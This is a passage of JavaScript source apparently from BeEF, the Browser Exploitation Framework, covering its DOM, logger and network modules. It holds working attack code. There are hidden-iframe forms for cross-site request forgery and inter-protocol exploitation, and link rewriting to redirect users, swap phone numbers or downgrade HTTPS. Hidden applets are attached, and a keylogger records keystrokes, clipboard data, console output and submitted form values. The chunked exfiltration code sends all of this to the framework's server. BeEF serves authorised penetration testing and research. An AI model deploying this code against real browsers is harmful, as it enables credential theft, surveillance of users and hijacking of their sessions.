- * @return: {Integer} Highest z-index in the DOM
- * OR
- * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
- */
- getHighestZindex: function(include_id) {
- var highest = {'height':0, 'elem':''};
- $j('*').each(function() {
- var current_high = parseInt($j(this).css("zIndex"),10);
- if (current_high > highest.height) {
- highest.height = current_high;
- highest.elem = $j(this).attr('id');
- }
- });
- if (include_id) {
- return highest;
- } else {
- return highest.height;
- }
- },
- /**
- * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
- * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
- * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
- * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
- * @param: {Hash} params: list of params that will be sent in request.
- * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
- * @param: {Function} a callback function to fire once the iFrame has loaded
- * @return: {Object} the inserted iFrame
- *
- */
- createIframe: function(type, params, styles, onload) {
- var css = {};
- if (type == 'hidden') {
- css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
- } else if (type == 'fullscreen') {
- css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
- $j('body').css({'padding':'0px', 'margin':'0px'});
- } else {
- css = styles;
- $j('body').css({'padding':'0px', 'margin':'0px'});
- }
- var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
- return iframe;
- },
- /**
- * Load the link (href value) in an overlay foreground iFrame.
- * The BeEF hook continues to run in background.
- * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
- * Framebusting techniques, this will not work.
- */
- persistentIframe: function(){
- $j('a').click(function(e) {
- if ($j(this).attr('href') != '')
- {
- e.preventDefault();
- beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
- $j(document).attr('title', $j(this).html());
- document.body.scroll = "no";
- document.documentElement.style.overflow = 'hidden';
- }
- });
- },
- /**
- * Load a full screen div that is black, or, transparent
- * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
- * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
- * opacity:0-100 // Lower number = less grayout higher = more of a blackout
- * // By default this is 70
- * zindex: # // HTML elements with a higher zindex appear on top of the gray out
- * // By default this will use beef.dom.getHighestZindex to always go to the top
- * bgcolor: (#xxxxxx) // Standard RGB Hex color code
- * // By default this is #000000
- */
- grayOut: function(vis, options) {
- // in any order. Pass only the properties you need to set.
- var options = options || {};
- var zindex = options.zindex || beef.dom.getHighestZindex()+1;
- var opacity = options.opacity || 70;
- var opaque = (opacity / 100);
- var bgcolor = options.bgcolor || '#000000';
- var dark=document.getElementById('darkenScreenObject');
- if (!dark) {
- // The dark layer doesn't exist, it's never been created. So we'll
- // create it here and apply some basic styles.
- // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
- var tbody = document.getElementsByTagName("body")[0];
- var tnode = document.createElement('div'); // Create the layer.
- tnode.style.position='absolute'; // Position absolutely
- tnode.style.top='0px'; // In the top
- tnode.style.left='0px'; // Left corner of the page
- tnode.style.overflow='hidden'; // Try to avoid making scroll bars
- tnode.style.display='none'; // Start out Hidden
- tnode.id='darkenScreenObject'; // Name it so we can find it later
- tbody.appendChild(tnode); // Add it to the web page
- dark=document.getElementById('darkenScreenObject'); // Get the object.
- }
- if (vis) {
- // Calculate the page width and height
- if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
- var pageWidth = document.body.scrollWidth+'px';
- var pageHeight = document.body.scrollHeight+'px';
- } else if( document.body.offsetWidth ) {
- var pageWidth = document.body.offsetWidth+'px';
- var pageHeight = document.body.offsetHeight+'px';
- } else {
- var pageWidth='100%';
- var pageHeight='100%';
- }
- //set the shader to cover the entire page and make it visible.
- dark.style.opacity=opaque;
- dark.style.MozOpacity=opaque;
- dark.style.filter='alpha(opacity='+opacity+')';
- dark.style.zIndex=zindex;
- dark.style.backgroundColor=bgcolor;
- dark.style.width= pageWidth;
- dark.style.height= pageHeight;
- dark.style.display='block';
- } else {
- dark.style.display='none';
- }
- },
- /**
- * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
- * or, re-writing a document this is useful.
- */
- removeStylesheets: function() {
- $j('link[rel=stylesheet]').remove();
- $j('style').remove();
- },
- /**
- * Create a form element with the specified parameters, appending it to the DOM if append == true
- * @param: {Hash} params: params to be applied to the form element
- * @param: {Boolean} append: automatically append the form to the body
- * @return: {Object} a form object
- */
- createForm: function(params, append) {
- var form = $j('<form></form>').attr(params);
- if (append)
- $j('body').append(form);
- return form;
- },
- /**
- * Get the location of the current page.
- * @return: the location.
- */
- getLocation: function() {
- return document.location.href;
- },
- /**
- * Get links of the current page.
- * @return: array of URLs.
- */
- getLinks: function() {
- var linksarray = [];
- var links = document.links;
- for(var i = 0; i<links.length; i++) {
- linksarray = linksarray.concat(links[i].href)
- };
- return linksarray
- },
- /**
- * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
- * @param: {String} url: the url to be rewritten
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinks: function(url, selector) {
- var sel = (selector == null) ? 'a' : selector;
- return $j(sel).each(function() {
- if ($j(this).attr('href') != null)
- {
- $j(this).attr('href', url).click(function() { return true; });
- }
- }).length;
- },
- /**
- * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
- * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
- * @param: {String} url: the url to be rewritten
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinksClickEvents: function(url, selector) {
- var sel = (selector == null) ? 'a' : selector;
- return $j(sel).each(function() {
- if ($j(this).attr('href') != null)
- {
- $j(this).click(function() {this.href=url});
- }
- }).length;
- },
- /**
- * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
- * @param: {String} old_protocol: the old link protocol to be rewritten
- * @param: {String} new_protocol: the new link protocol to be written
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
- var count = 0;
- var re = new RegExp(old_protocol+"://", "gi");
- var sel = (selector == null) ? 'a' : selector;
- $j(sel).each(function() {
- if ($j(this).attr('href') != null) {
- var url = $j(this).attr('href');
- if (url.match(re)) {
- $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
- count++;
- }
- }
- });
- return count;
- },
- /**
- * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
- * @param: {String} new_number: the new link telephone number to be written
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteTelLinks: function(new_number, selector) {
- var count = 0;
- var re = new RegExp("tel:/?/?.*", "gi");
- var sel = (selector == null) ? 'a' : selector;
- $j(sel).each(function() {
- if ($j(this).attr('href') != null) {
- var url = $j(this).attr('href');
- if (url.match(re)) {
- $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
- count++;
- }
- }
- });
- return count;
- },
- /**
- * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
- * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
- * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
- */
- parseAppletParams: function(params){
- var result = '';
- for (i in params){
- var param = params[i];
- for(key in param){
- result += "<param name='" + key + "' value='" + param[key] + "' />";
- }
- }
- return result;
- },
- /**
- * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
- * example usage in the code, using a JAR archive (recommended and faster):
- * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
- * example usage in the code, using codebase:
- * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
- * @params: {String} id: reference identifier to the applet.
- * @params: {String} code: name of the class to be loaded. For example, beef.class.
- * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
- * @params: {String} archive: the jar that contains the code.
- * @params: {String} params: an array of additional params that the applet except.
- */
- attachApplet: function(id, name, code, codebase, archive, params) {
- var content = null;
- if (beef.browser.isIE()) {
- content = "" + // the classid means 'use the latest JRE available to launch the applet'
- "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
- "height='0' width='0' name='" + name + "'> " +
- "<param name='code' value='" + code + "' />";
- if (codebase != null) {
- content += "<param name='codebase' value='" + codebase + "' />"
- }
- if (archive != null){
- content += "<param name='archive' value='" + archive + "' />";
- }
- if (params != null) {
- content += beef.dom.parseAppletParams(params);
- }
- content += "</object>";
- }
- if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
- if (codebase != null) {
- content = "" +
- "<applet id='" + id + "' code='" + code + "' " +
- "codebase='" + codebase + "' " +
- "height='0' width='0' name='" + name + "'>";
- } else {
- content = "" +
- "<applet id='" + id + "' code='" + code + "' " +
- "archive='" + archive + "' " +
- "height='0' width='0' name='" + name + "'>";
- }
- if (params != null) {
- content += beef.dom.parseAppletParams(params);
- }
- content += "</applet>";
- }
- // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
- // if (beef.browser.isFF()) {
- // if (codebase != null) {
- // content = "" +
- // "<embed id='" + id + "' code='" + code + "' " +
- // "type='application/x-java-applet' codebase='" + codebase + "' " +
- // "height='0' width='0' name='" + name + "'>";
- // } else {
- // content = "" +
- // "<embed id='" + id + "' code='" + code + "' " +
- // "type='application/x-java-applet' archive='" + archive + "' " +
- // "height='0' width='0' name='" + name + "'>";
- // }
- //
- // if (params != null) {
- // content += beef.dom.parseAppletParams(params);
- // }
- // content += "</embed>";
- // }
- $j('body').append(content);
- },
- /**
- * Given an id, remove the applet from the DOM.
- * @params: {String} id: reference identifier to the applet.
- */
- detachApplet: function(id) {
- $j('#' + id + '').detach();
- },
- /**
- * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
- * @params: {String} action: the form action attribute, where the request will be sent.
- * @params: {String} method: HTTP method, usually POST.
- * @params: {String} enctype: form encoding type
- * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
- * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
- */
- createIframeXsrfForm: function(action, method, enctype, inputs){
- var iframeXsrf = beef.dom.createInvisibleIframe();
- var formXsrf = document.createElement('form');
- formXsrf.setAttribute('action', action);
- formXsrf.setAttribute('method', method);
- formXsrf.setAttribute('enctype', enctype);
- var input = null;
- for (i in inputs){
- var attributes = inputs[i];
- input = document.createElement('input');
- for(key in attributes){
- if (key == 'name' && attributes[key] == 'submit') {
- // workaround for https://github.com/beefproject/beef/issues/1117
- beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
- input.setAttribute('Submit', attributes[key]);
- } else {
- input.setAttribute(key, attributes[key]);
- }
- }
- formXsrf.appendChild(input);
- }
- iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
- formXsrf.submit();
- return iframeXsrf;
- },
- /**
- * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
- * @params: {String} rhost: remote host ip/domain
- * @params: {String} rport: remote port
- * @params: {String} commands: protocol commands to be executed by the remote host:port service
- */
- createIframeIpecForm: function(rhost, rport, path, commands){
- var iframeIpec = beef.dom.createInvisibleIframe();
- var formIpec = document.createElement('form');
- formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
- formIpec.setAttribute('method', 'POST');
- formIpec.setAttribute('enctype', 'multipart/form-data');
- input = document.createElement('textarea');
- input.setAttribute('name', Math.random().toString(36).substring(5));
- input.value = commands;
- formIpec.appendChild(input);
- iframeIpec.contentWindow.document.body.appendChild(formIpec);
- formIpec.submit();
- return iframeIpec;
- }
- };
- beef.regCmp('beef.dom');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.logger
- *
- * Provides logging capabilities.
- */
- beef.logger = {
- running: false,
- /**
- * Internal logger id
- */
- id: 0,
- /**
- * Holds events created by user, to be sent back to BeEF
- */
- events: [],
- /**
- * Holds current stream of key presses
- */
- stream: [],
- /**
- * Contains current target of key presses
- */
- target: null,
- /**
- * Holds the time the logger was started
- */
- time: null,
- /**
- * Holds the event details to be sent to BeEF
- */
- e: function() {
- this.id = beef.logger.get_id();
- this.time = beef.logger.get_timestamp();
- this.type = null;
- this.x = 0;
- this.y = 0;
- this.target = null;
- this.data = null;
- this.mods = null;
- },
- /**
- * Prevents from recursive event handling on form submission
- */
- in_submit: false,
- /**
- * Starts the logger
- */
- start: function() {
- beef.browser.hookChildFrames();
- this.running = true;
- var d = new Date();
- this.time = d.getTime();
- $j(document).off('keypress');
- $j(document).off('click');
- $j(window).off('focus');
- $j(window).off('blur');
- $j('form').off('submit');
- $j(document.body).off('copy');
- $j(document.body).off('cut');
- $j(document.body).off('paste');
- if (!!window.console && typeof window.console == "object") {
- try {
- var oldInfo = window.console.info;
- console.info = function (message) {
- beef.logger.console('info', message);
- oldInfo.apply(console, arguments);
- };
- var oldLog = window.console.log;
- console.log = function (message) {
- beef.logger.console('log', message);
- oldLog.apply(console, arguments);
- };
- var oldWarn = window.console.warn;
- console.warn = function (message) {
- beef.logger.console('warn', message);
- oldWarn.apply(console, arguments);
- };
- var oldDebug = window.console.debug;
- console.debug = function (message) {
- beef.logger.console('debug', message);
- oldDebug.apply(console, arguments);
- };
- var oldError = window.console.error;
- console.error = function (message) {
- beef.logger.console('error', message);
- oldError.apply(console, arguments);
- };
- } catch(e) {}
- }
- $j(document).keypress(
- function(e) { beef.logger.keypress(e); }
- ).click(
- function(e) { beef.logger.click(e); }
- );
- $j(window).focus(
- function(e) { beef.logger.win_focus(e); }
- ).blur(
- function(e) { beef.logger.win_blur(e); }
- );
- $j('form').submit(
- function(e) {
- beef.logger.submit(e);
- }
- );
- $j(document.body).on('copy', function() {
- setTimeout("beef.logger.copy();", 10);
- });
- $j(document.body).on('cut', function() {
- setTimeout("beef.logger.cut();", 10);
- });
- $j(document.body).on('paste', function() {
- beef.logger.paste();
- });
- },
- /**
- * Stops the logger
- */
- stop: function() {
- this.running = false;
- clearInterval(this.timer);
- $j(document).off('keypress');
- $j(document).off('click');
- $j(window).off('focus');
- $j(window).off('blur');
- $j('form').off('submit');
- $j(document.body).off('copy');
- $j(document.body).off('cut');
- $j(document.body).off('paste');
- // TODO: reset console
- },
- /**
- * Get id
- */
- get_id: function() {
- this.id++;
- return this.id;
- },
- /**
- * Click function fires when the user clicks the mouse.
- */
- click: function(e) {
- var c = new beef.logger.e();
- c.type = 'click';
- c.x = e.pageX;
- c.y = e.pageY;
- c.target = beef.logger.get_dom_identifier(e.target);
- this.events.push(c);
- },
- /**
- * Fires when the window element has regained focus
- */
- win_focus: function(e) {
- var f = new beef.logger.e();
- f.type = 'focus';
- this.events.push(f);
- },
- /**
- * Fires when the window element has lost focus
- */
- win_blur: function(e) {
- var b = new beef.logger.e();
- b.type = 'blur';
- this.events.push(b);
- },
- /**
- * Keypress function fires everytime a key is pressed.
- * @param {Object} e: event object
- */
- keypress: function(e) {
- if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
- {
- beef.logger.push_stream();
- this.target = e.target;
- }
- this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
- },
- /**
- * Copy function fires when the user copies data to the clipboard.
- */
- copy: function(x) {
- try {
- var c = new beef.logger.e();
- c.type = 'copy';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Cut function fires when the user cuts data to the clipboard.
- */
- cut: function() {
- try {
- var c = new beef.logger.e();
- c.type = 'cut';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Console function fires when data is sent to the browser console.
- */
- console: function(type, message) {
- try {
- var c = new beef.logger.e();
- c.type = 'console';
- c.data = type + ': ' + message;
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Paste function fires when the user pastes data from the clipboard.
- */
- paste: function() {
- try {
- var c = new beef.logger.e();
- c.type = 'paste';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Submit function fires whenever a form is submitted
- * TODO: Cleanup this function
- */
- submit: function(e) {
- if (beef.logger.in_submit) {
- return true;
- }
- try {
- var f = new beef.logger.e();
- f.type = 'submit';
- f.target = beef.logger.get_dom_identifier(e.target);
- var jqForms = $j(e.target);
- var values = jqForms.find('input').map(function() {
- var inp = $j(this);
- return inp.attr('name') + '=' + inp.val();
- }).get().join();
- beef.debug('submitting form inputs: ' + values);
- /*
- for (var i = 0; i < e.target.elements.length; i++) {
- values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
- }
- */
- f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
- this.events.push(f);
- this.queue();
- this.target = null;
- beef.net.flush(function done() {
- beef.debug("Submitting the form");
- beef.logger.in_submit = true;
- jqForms.submit();
- beef.logger.in_submit = false;
- beef.debug("Done submitting");
- });
- e.preventDefault();
- return false;
- } catch(e) {}
- },
- /**
- * Pushes the current stream to the events queue
- */
- push_stream: function() {
- if (this.stream.length > 0)
- {
- this.events.push(beef.logger.parse_stream());
- this.stream = [];
- }
- },
- /**
- * Translate DOM Object to a readable string
- */
- get_dom_identifier: function(target) {
- target = (target == null) ? this.target : target;
- var id = '';
- if (target)
- {
- id = target.tagName.toLowerCase();
- id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
- id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
- }
- return id;
- },
- /**
- * Formats the timestamp
- * @return {String} timestamp string
- */
- get_timestamp: function() {
- var d = new Date();
- return ((d.getTime() - this.time) / 1000).toFixed(3);
- },
- /**
- * Parses stream array and creates history string
- */
- parse_stream: function() {
- var s = '';
- var mods = '';
- for (var i in this.stream){
- try{
- var mod = this.stream[i]['modifiers'];
- s += String.fromCharCode(this.stream[i]['char']);
- if(typeof mod != 'undefined' &&
- (mod['alt'] == true ||
- mod['ctrl'] == true ||
- mod['shift'] == true)){
- mods += (mod['alt']) ? ' [Alt] ' : '';
- mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
- mods += (mod['shift']) ? ' [Shift] ' : '';
- mods += String.fromCharCode(this.stream[i]['char']);
- }
- }catch(e){}
- }
- var k = new beef.logger.e();
- k.type = 'keys';
- k.target = beef.logger.get_dom_identifier();
- k.data = s;
- k.mods = mods;
- return k;
- },
- /**
- * Queue results to be sent back to framework
- */
- queue: function() {
- beef.logger.push_stream();
- if (this.events.length > 0)
- {
- beef.net.queue('/event', 0, this.events);
- this.events = [];
- }
- }
- };
- beef.regCmp('beef.logger');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net
- *
- * Provides basic networking functions,
- * like beef.net.request and beef.net.forgeRequest,
- * used by BeEF command modules and the Requester extension,
- * as well as beef.net.send which is used to return commands
- * to BeEF server-side components.
- *
- * Also, it contains the core methods used by the XHR-polling
- * mechanism (flush, queue)
- */
- beef.net = {
- host: "127.0.0.1",
- port: "3000",
- hook: "/hook.js",
- httpproto: "http",
- handler: '/dh',
- chop: 500,
- pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
- sid_count: 0,
- cmd_queue: [],
- /**
- * Command object. This represents the data to be sent back to BeEF,
- * using the beef.net.send() method.
- */
- command: function () {
- this.cid = null;
- this.results = null;
- this.status = null;
- this.handler = null;
- this.callback = null;
- },
- /**
- * Packet object. A single chunk of data. X packets -> 1 stream
- */
- packet: function () {
- this.id = null;
- this.data = null;
- },
- /**
- * Stream object. Contains X packets, which are command result chunks.
- */
- stream: function () {
- this.id = null;
- this.packets = [];
- this.pc = 0;
- this.get_base_url_length = function () {
- return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
- };
- this.get_packet_data = function () {
- var p = this.packets.shift();
- return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
- };
- },
- /**
- * Response Object - used in the beef.net.request callback
- * NOTE: as we are using async mode, the response object will be empty if returned.
- * Using sync mode, request obj fields will be populated.
- */
- response: function () {
- this.status_code = null; // 500, 404, 200, 302
- this.status_text = null; // success, timeout, error, ...
- this.response_body = null; // "<html>…." if not a cross-origin request
- this.port_status = null; // tcp port is open, closed or not http
- this.was_cross_domain = null; // true or false
- this.was_timedout = null; // the user specified timeout was reached
- this.duration = null; // how long it took for the request to complete
- this.headers = null; // full response headers
- },
- /**
- * Queues the specified command results.
- * @param: {String} handler: the server-side handler that will be called
- * @param: {Integer} cid: command id
- * @param: {String} results: the data to send
- * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
- * @param: {Function} callback: the function to call after execution
- */
- queue: function (handler, cid, results, status, callback) {
- if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
- var s = new beef.net.command();
- s.cid = cid;
- s.results = beef.net.clean(results);
- s.status = status;
- s.callback = callback;
- s.handler = handler;
- this.cmd_queue.push(s);
- }
- },
- /**
- * Queues the current command results and flushes the queue straight away.
- * NOTE: Always send Browser Fingerprinting results
- * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
- * even if WebSockets are enabled.
- * @param: {String} handler: the server-side handler that will be called
- * @param: {Integer} cid: command id
- * @param: {String} results: the data to send
- * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
- * @param: {Function} callback: the function to call after execution
- * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
- */
- send: function (handler, cid, results, exec_status, callback) {
- // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
- var status = 0;
- if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
- if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
- this.queue(handler, cid, results, status, callback);
- this.flush();
- } else {
- try {
- beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
- '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
- '", "status": "' + exec_status +
- '", "callback": "' + callback +
- '","bh":"' + beef.session.get_hook_session_id() + '" }');
- } catch (e) {
- this.queue(handler, cid, results, status, callback);
- this.flush();
- }
- }
- return status;
- },
- /**
- * Flush all currently queued command results to the framework,
- * chopping the data in chunks ('chunk' method) which will be re-assembled
- * server-side by the network stack.
- * NOTE: currently 'flush' is used only with the default
- * XHR-polling mechanism. If WebSockets are used, the data is sent
- * back to BeEF straight away.
- */
- flush: function (callback) {
- if (this.cmd_queue.length > 0) {
- var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
- this.cmd_queue.length = 0;
- this.sid_count++;
- var stream = new this.stream();
- stream.id = this.sid_count;
- var pad = stream.get_base_url_length() + this.pad;
- //cant continue if chop amount is too low
- if ((this.chop - pad) > 0) {
- var data = this.chunk(data, (this.chop - pad));
- for (var i = 1; i <= data.length; i++) {
- var packet = new this.packet();
- packet.id = i;
- packet.data = data[(i - 1)];
- stream.packets.push(packet);
- }
- stream.pc = stream.packets.length;
- this.push(stream, callback);
- }
- } else {
- if ((typeof callback != 'undefined') && (callback != null)) {
- callback();
- }
- }
- },
- /**
- * Split the input data into chunk lengths determined by the amount parameter.
- * @param: {String} str: the input data
- * @param: {Integer} amount: chunk length
- */
- chunk: function (str, amount) {
- if (typeof amount == 'undefined') n = 2;
- return str.match(RegExp('.{1,' + amount + '}', 'g'));
- },
- /**
- * Push the input stream back to the BeEF server-side components.
- * It uses beef.net.request to send back the data.
- * @param: {Object} stream: the stream object to be sent back.
- */
- push: function (stream, callback) {
- //need to implement wait feature here eventually
- if (typeof callback === 'undefined') {
- callback = null;
- }
- for (var i = 0; i < stream.pc; i++) {
- var cb = null;
- if (i == (stream.pc - 1)) {
- cb = callback;
- }
- this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
- stream.get_packet_data(), 10, 'text', cb);
- }
- },
- /**
- * Performs http requests
- * @param: {String} scheme: HTTP or HTTPS
- * @param: {String} method: GET or POST
- * @param: {String} domain: bindshell.net, 192.168.3.4, etc
- * @param: {Int} port: 80, 5900, etc
- * @param: {String} path: /path/to/resource
- * @param: {String} anchor: this is the value that comes after the # in the URL
- * @param: {String} data: This will be used as the query string for a GET or post data for a POST
- * @param: {Int} timeout: timeout the request after N seconds
- * @param: {String} dataType: specify the data return type expected (ie text/html/script)
- * @param: {Function} callback: call the callback function at the completion of the method
- *
- * @return: {Object} response: this object contains the response details
- */
- request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
- //check if same domain or cross domain
- var cross_domain = true;
- if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
- if (document.location.port == "" || document.location.port == null) {
- cross_domain = !(port == "80" || port == "443");
- }
- }
- //build the url
- var url = "";
- if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
- url = path;
- } else {
- url = scheme + "://" + domain;
- url = (port != null) ? url + ":" + port : url;
- url = (path != null) ? url + path : url;
- url = (anchor != null) ? url + "#" + anchor : url;
- }
- //define response object
- var response = new this.response;
- response.was_cross_domain = cross_domain;
- var start_time = new Date().getTime();
- /*
- * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
- * This will turn POSTs into GETs for remote-domain requests.
- */
- if (method == "POST") {
- $j.ajaxSetup({
- dataType: dataType
- });
- } else {
- $j.ajaxSetup({
- dataType: 'script'
- });
- }
- //build and execute the request
- $j.ajax({type: method,
- url: url,
- data: data,
- timeout: (timeout * 1000),
- //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
- beforeSend: function (xhr) {
- if (method == "POST") {
- xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
- }
- },
- success: function (data, textStatus, xhr) {
- var end_time = new Date().getTime();
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.response_body = data;
- response.port_status = "open";
- response.was_timedout = false;
- response.duration = (end_time - start_time);
- },
- error: function (jqXHR, textStatus, errorThrown) {
- var end_time = new Date().getTime();
- response.response_body = jqXHR.responseText;
- response.status_code = jqXHR.status;
- response.status_text = textStatus;
- response.duration = (end_time - start_time);
- response.port_status = "open";
- },
- complete: function (jqXHR, textStatus) {
- response.status_code = jqXHR.status;
- response.status_text = textStatus;
- response.headers = jqXHR.getAllResponseHeaders();
- // determine if TCP port is open/closed/not-http
- if (textStatus == "timeout") {
- response.was_timedout = true;
- response.response_body = "ERROR: Timed out\n";
- response.port_status = "closed";
- } else if (textStatus == "parsererror") {
- response.port_status = "not-http";
- } else {
- response.port_status = "open";
- }
- }
- }).always(function () {
- if (callback != null) {
- callback(response);
- }
- });
- return response;
- },
- /*
- * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
- * - requestid: needed on the callback
- * - allowCrossDomain: set cross-domain requests as allowed or blocked
- *
- * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
- * Example usage:
- * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
- * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
- * alert(response.response_body)})
- */
- forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
- if (domain == "undefined" || path == "undefined") {
- beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
- return;
- }
- // check if same domain or cross domain
- var cross_domain = true;
- if (document.domain == domain && document.location.protocol == scheme + ':') {
- if (document.location.port == "" || document.location.port == null) {
- cross_domain = !(port == "80" || port == "443");
- } else {
- if (document.location.port == port) cross_domain = false;
- }
- }
- // build the url
- var url = "";
- if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
- url = path;
- } else {
- url = scheme + "://" + domain;
- url = (port != null) ? url + ":" + port : url;
- url = (path != null) ? url + path : url;
- url = (anchor != null) ? url + "#" + anchor : url;
- }
- // define response object
- var response = new this.response;
- response.was_cross_domain = cross_domain;
- var start_time = new Date().getTime();
- // if cross-domain requests are not allowed and the request is cross-domain
- // don't proceed and return
- if (allowCrossDomain == "false" && cross_domain) {
- beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
- response.status_code = -1;
- response.status_text = "crossdomain";
- response.port_status = "crossdomain";
- response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
- response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
- if (callback != null) callback(response, requestid);
- return response;
- }
- // if the request was cross-domain from a HTTPS origin to HTTP
- // don't proceed and return
- if (document.location.protocol == 'https:' && scheme == 'http') {
